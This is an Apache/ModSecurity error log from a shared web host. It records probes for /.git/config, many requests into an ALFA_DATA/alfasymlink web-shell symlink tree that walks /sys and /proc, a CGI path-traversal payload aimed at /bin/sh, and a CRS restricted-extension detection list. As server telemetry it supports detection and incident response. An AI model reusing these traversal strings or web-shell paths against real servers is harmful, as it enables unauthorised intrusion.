[Mon Oct 26 22:55:32.393053 2026] [security2:error] [pid 3147517:tid 3147517] [client 176.65.132.239:15724] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auASpHl27M-1q_hOKr_8AAAAAAg"]
[Mon Oct 26 22:55:32.393315 2026] [security2:error] [pid 3147517:tid 3147517] [client 176.65.132.239:15724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auASpHl27M-1q_hOKr_8AAAAAAg"]
[Mon Oct 26 22:55:32.393640 2026] [security2:error] [pid 3147517:tid 3147517] [client 176.65.132.239:15724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auASpHl27M-1q_hOKr_8AAAAAAg"]
[Mon Oct 26 22:55:32.601096 2026] [ssl:error] [pid 3146368:tid 3146368] (70014)End of file found: [client 85.208.96.193:19968] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:55:38.206018 2026] [ssl:error] [pid 3147448:tid 3147448] (70014)End of file found: [client 44.209.187.99:31081] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:55:46.229104 2026] [ssl:error] [pid 3147450:tid 3147450] (70014)End of file found: [client 34.236.135.14:15131] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:55:50.204714 2026] [ssl:error] [pid 3146368:tid 3146368] (70014)End of file found: [client 54.197.82.195:5464] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:55:54.288502 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 3.218.35.239:6358] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:55:58.223126 2026] [ssl:error] [pid 3147450:tid 3147450] (70014)End of file found: [client 34.236.135.14:8780] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:56:02.728109 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 34.202.88.37:6923] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:56:06.464612 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 34.233.114.237:52220] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:56:14.207574 2026] [ssl:error] [pid 3147448:tid 3147448] (70014)End of file found: [client 35.169.240.53:48104] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:56:30.335245 2026] [ssl:error] [pid 3147513:tid 3147513] (5)Input/output error: [client 3.211.181.86:20947] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:56:42.248077 2026] [ssl:error] [pid 3147450:tid 3147450] (70014)End of file found: [client 98.82.38.120:12931] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:56:58.245778 2026] [ssl:error] [pid 3147450:tid 3147450] (70014)End of file found: [client 100.29.160.53:16784] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:57:02.304886 2026] [core:error] [pid 3147517:tid 3147517] (13)Permission denied: [client 98.83.10.183:13273] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:05.0/driver/0000:00:03.0/rescan
[Mon Oct 26 22:57:06.207024 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 52.2.4.213:34791] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:57:10.221435 2026] [ssl:error] [pid 3146367:tid 3146367] (70014)End of file found: [client 34.231.45.47:37336] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:57:14.289144 2026] [core:error] [pid 3147448:tid 3147448] (13)Permission denied: [client 34.204.150.196:60030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/subsystem/drivers/battery/bind
[Mon Oct 26 22:57:18.239275 2026] [ssl:error] [pid 3147450:tid 3147450] (70014)End of file found: [client 98.82.40.168:27244] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:57:22.274531 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 100.29.155.89:18953] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:57:26.376435 2026] [ssl:error] [pid 3147569:tid 3147569] (70014)End of file found: [client 54.156.124.2:16781] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:57:30.109317 2026] [security2:error] [pid 3146368:tid 3146368] [client 2.57.122.202:48396] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "cpcalendars.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpcalendars/app.js"] [unique_id "auATGoi_xUBkO7bS12SqRQAAAA8"]
[Mon Oct 26 22:57:30.109361 2026] [security2:error] [pid 3146368:tid 3146368] [client 2.57.122.202:48396] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "cpcalendars.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpcalendars/app.js"] [unique_id "auATGoi_xUBkO7bS12SqRQAAAA8"]
[Mon Oct 26 22:57:30.862861 2026] [core:error] [pid 3146367:tid 3146367] (13)Permission denied: [client 185.191.171.12:13024] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/min_partial
[Mon Oct 26 22:57:34.537608 2026] [ssl:error] [pid 3147515:tid 3147515] (70014)End of file found: [client 18.214.251.19:51150] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:57:38.233805 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 3.229.2.217:24618] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:57:42.250254 2026] [ssl:error] [pid 3147450:tid 3147450] (70014)End of file found: [client 3.216.227.216:29147] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:57:46.289728 2026] [core:error] [pid 3146368:tid 3146368] (13)Permission denied: [client 185.191.171.4:61436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/order
[Mon Oct 26 22:57:58.534684 2026] [ssl:error] [pid 3146367:tid 3146367] (70014)End of file found: [client 3.221.156.96:59429] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:58:10.242102 2026] [ssl:error] [pid 3147569:tid 3147569] (70014)End of file found: [client 23.21.204.95:22733] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:58:16.506024 2026] [security2:error] [pid 3147450:tid 3147450] [client 16.216.88.216:8192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/065_mod_authn_file.conf"] [unique_id "auATSHZMgPHU_SB9dqR5BgAAAAU"]
[Mon Oct 26 22:58:16.506480 2026] [security2:error] [pid 3147450:tid 3147450] [client 16.216.88.216:8192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/065_mod_authn_file.conf"] [unique_id "auATSHZMgPHU_SB9dqR5BgAAAAU"]
[Mon Oct 26 22:58:16.506880 2026] [security2:error] [pid 3147450:tid 3147450] [client 16.216.88.216:8192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/065_mod_authn_file.conf"] [unique_id "auATSHZMgPHU_SB9dqR5BgAAAAU"]
[Mon Oct 26 22:58:26.276289 2026] [ssl:error] [pid 3147568:tid 3147568] (70014)End of file found: [client 54.84.147.79:39219] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:58:46.371769 2026] [ssl:error] [pid 3147568:tid 3147568] (70014)End of file found: [client 52.203.68.145:36013] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:58:50.502199 2026] [ssl:error] [pid 3146392:tid 3146392] (70014)End of file found: [client 35.153.86.200:17505] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:58:58.339674 2026] [ssl:error] [pid 3146367:tid 3146367] (70014)End of file found: [client 54.84.102.81:64108] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:59:02.559815 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 54.85.109.140:64141] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:59:02.560021 2026] [security2:error] [pid 3142595:tid 3142595] [client 54.85.109.140:64141] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:04/physical_node/consistent_dma_mask_bits"] [unique_id "auATdnfB5_cr2AuVp7R4VgAAABA"]
[Mon Oct 26 22:59:02.560067 2026] [security2:error] [pid 3142595:tid 3142595] [client 54.85.109.140:64141] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:04/physical_node/consistent_dma_mask_bits"] [unique_id "auATdnfB5_cr2AuVp7R4VgAAABA"]
[Mon Oct 26 22:59:06.319326 2026] [ssl:error] [pid 3146392:tid 3146392] (70014)End of file found: [client 18.233.24.238:13757] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:59:14.294779 2026] [ssl:error] [pid 3147448:tid 3147448] (70014)End of file found: [client 23.23.213.182:43806] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:59:18.228125 2026] [ssl:error] [pid 3146367:tid 3146367] (70014)End of file found: [client 184.72.95.195:30501] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:59:22.219115 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 54.83.56.1:6224] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:59:30.199281 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 52.207.47.227:9799] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:59:34.202702 2026] [ssl:error] [pid 3147448:tid 3147448] (70014)End of file found: [client 98.82.38.120:23967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:59:38.360001 2026] [core:error] [pid 3147565:tid 3147565] (13)Permission denied: [client 18.206.47.187:49660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:01/subsystem/drivers/ec/bind
[Mon Oct 26 22:59:42.683024 2026] [ssl:error] [pid 3146368:tid 3146368] (70014)End of file found: [client 3.94.199.128:43688] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:59:46.206881 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 52.204.81.148:30798] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:59:50.203575 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 52.54.157.23:27549] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:59:54.326853 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 3.214.176.44:18441] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:59:58.218684 2026] [ssl:error] [pid 3147448:tid 3147448] (70014)End of file found: [client 54.235.125.129:7202] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:00:06.421260 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 34.195.248.30:43789] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:00:14.224396 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 23.21.148.226:3177] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:00:22.224890 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 35.153.86.200:59319] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:00:23.973956 2026] [core:error] [pid 3146368:tid 3146368] (13)Permission denied: [client 185.191.171.2:20330] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_iattrs_cache/cpu_partial
[Mon Oct 26 23:00:26.195807 2026] [ssl:error] [pid 3147450:tid 3147450] (70014)End of file found: [client 44.205.180.155:25360] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:00:30.233982 2026] [ssl:error] [pid 3147569:tid 3147569] (70014)End of file found: [client 54.225.181.161:41662] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:00:38.230935 2026] [ssl:error] [pid 3147565:tid 3147565] (70014)End of file found: [client 44.205.192.249:42183] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:00:42.618280 2026] [ssl:error] [pid 3146368:tid 3146368] (70014)End of file found: [client 23.21.148.226:38647] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:00:50.216479 2026] [core:error] [pid 3147517:tid 3147517] (13)Permission denied: [client 44.212.145.46:19182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:05/eject
[Mon Oct 26 23:00:58.227459 2026] [core:error] [pid 3146365:tid 3146365] (13)Permission denied: [client 18.232.36.1:9605] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:05.0/resource4_wc
[Mon Oct 26 23:01:22.255443 2026] [security2:error] [pid 3146365:tid 3146365] [client 34.225.24.180:10932] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:04/physical_node/"] [unique_id "auAUAuD6ex2mTn4X02d7TAAAAAs"]
[Mon Oct 26 23:01:22.255503 2026] [security2:error] [pid 3146365:tid 3146365] [client 34.225.24.180:10932] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:04/physical_node/"] [unique_id "auAUAuD6ex2mTn4X02d7TAAAAAs"]
[Mon Oct 26 23:01:26.576498 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 100.29.160.53:3828] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:01:44.032080 2026] [security2:error] [pid 3142605:tid 3142605] [client 107.172.76.131:57253] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAUCUV4AUzwl86DWirnvQAAABI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 23:01:44.032146 2026] [security2:error] [pid 3142605:tid 3142605] [client 107.172.76.131:57253] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auAUCUV4AUzwl86DWirnvQAAABI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 23:02:06.249037 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 3.93.98.99:19678] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:02:18.271382 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 100.29.107.38:56874] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:02:20.958518 2026] [authz_core:error] [pid 3147517:tid 3147517] [client 38.110.46.235:61753] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 23:02:22.725902 2026] [security2:error] [pid 3147513:tid 3147513] [client 35.171.141.42:26087] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/node0/memory8/"] [unique_id "auAUPsqawth2HP9RxtL8tAAAAAY"]
[Mon Oct 26 23:02:22.725983 2026] [security2:error] [pid 3147513:tid 3147513] [client 35.171.141.42:26087] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/node0/memory8/"] [unique_id "auAUPsqawth2HP9RxtL8tAAAAAY"]
[Mon Oct 26 23:02:38.400077 2026] [core:error] [pid 3147517:tid 3147517] (13)Permission denied: [client 98.84.184.80:51380] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/node0/memory15/subsystem/uevent
[Mon Oct 26 23:02:42.366811 2026] [core:error] [pid 3147513:tid 3147513] (13)Permission denied: [client 34.234.200.207:28244] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0303:00/physical_node1/wakeup/wakeup10/subsystem/wakeup5/device/physical_node/rescan
[Mon Oct 26 23:02:54.230845 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 54.88.84.219:7083] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:02:58.222194 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 34.203.111.15:47032] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:03:02.476850 2026] [ssl:error] [pid 3148730:tid 3148730] (70014)End of file found: [client 44.208.193.63:22422] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:03:10.357103 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 54.147.238.89:64901] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:03:16.296399 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 185.191.171.7:11446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf-frags/objects_partial
[Mon Oct 26 23:03:18.272032 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 44.207.69.106:41759] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:03:22.289299 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 18.214.238.178:52226] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:03:34.360551 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 35.170.205.140:43285] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:03:41.640565 2026] [core:error] [pid 3148730:tid 3148730] (13)Permission denied: [client 85.208.96.207:16990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/objects_partial
[Mon Oct 26 23:03:46.251510 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 52.1.106.130:20855] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:03:58.280546 2026] [core:error] [pid 3146392:tid 3146392] (13)Permission denied: [client 52.54.249.218:46241] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty5/subsystem/tty14/subsystem/ttyS1/iomem_base
[Mon Oct 26 23:04:06.214868 2026] [ssl:error] [pid 3145297:tid 3145297] (70014)End of file found: [client 18.214.186.220:55131] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:04:14.399041 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 52.200.251.20:18504] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:04:18.314767 2026] [ssl:error] [pid 3148730:tid 3148730] (70014)End of file found: [client 3.224.205.25:2663] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:04:21.697452 2026] [ssl:error] [pid 3145297:tid 3145297] (70014)End of file found: [client 185.191.171.3:21216] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:04:22.243537 2026] [core:error] [pid 3146331:tid 3146331] (13)Permission denied: [client 52.207.47.227:25086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:03.0/firmware_node/eject
[Mon Oct 26 23:04:54.728965 2026] [proxy_fcgi:error] [pid 3142605:tid 3142605] [client 203.159.90.219:52258] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 23:04:55.367006 2026] [security2:error] [pid 3142605:tid 3142605] [client 203.159.90.219:52258] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "auAU10V4AUzwl86DWirn1gAAABI"]
[Mon Oct 26 23:04:55.367045 2026] [security2:error] [pid 3142605:tid 3142605] [client 203.159.90.219:52258] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "auAU10V4AUzwl86DWirn1gAAABI"]
[Mon Oct 26 23:04:58.147179 2026] [core:error] [pid 3145296:tid 3145296] (13)Permission denied: [client 185.191.171.7:22440] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/reclaim_account
[Mon Oct 26 23:04:58.395851 2026] [ssl:error] [pid 3148730:tid 3148730] (70014)End of file found: [client 34.205.170.13:65246] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:05:02.212336 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 18.211.148.239:28732] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:05:06.272623 2026] [ssl:error] [pid 3148730:tid 3148730] (70014)End of file found: [client 54.156.124.2:35171] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:05:10.215689 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 100.29.128.75:30961] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:05:14.259777 2026] [ssl:error] [pid 3147426:tid 3147426] (70014)End of file found: [client 34.225.87.80:60298] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:05:26.211510 2026] [ssl:error] [pid 3146392:tid 3146392] (70014)End of file found: [client 3.90.73.206:47378] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:05:30.992362 2026] [core:error] [pid 3147449:tid 3147449] (13)Permission denied: [client 85.208.96.206:39168] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_iattrs_cache/poison
[Mon Oct 26 23:05:42.189080 2026] [ssl:error] [pid 3149143:tid 3149143] (70014)End of file found: [client 3.224.104.67:54721] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:06:18.174439 2026] [ssl:error] [pid 3149143:tid 3149143] (70014)End of file found: [client 85.208.96.211:41748] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:06:22.224486 2026] [security2:error] [pid 3149145:tid 3149145] [client 3.221.156.96:29852] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/subsystem/devices/node0/memory10/"] [unique_id "auAVLmD99EvW2fD6Vi-vgQAAABM"]
[Mon Oct 26 23:06:22.224549 2026] [security2:error] [pid 3149145:tid 3149145] [client 3.221.156.96:29852] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/subsystem/devices/node0/memory10/"] [unique_id "auAVLmD99EvW2fD6Vi-vgQAAABM"]
[Mon Oct 26 23:06:26.242553 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 107.20.181.148:46843] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:06:30.375791 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 107.22.208.39:5699] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:06:42.177760 2026] [core:error] [pid 3148730:tid 3148730] (13)Permission denied: [client 44.207.207.36:23685] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory22/node0/memory20/subsystem/drivers_probe
[Mon Oct 26 23:06:48.863475 2026] [core:error] [pid 3147449:tid 3147449] [client 190.171.189.85:54446] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
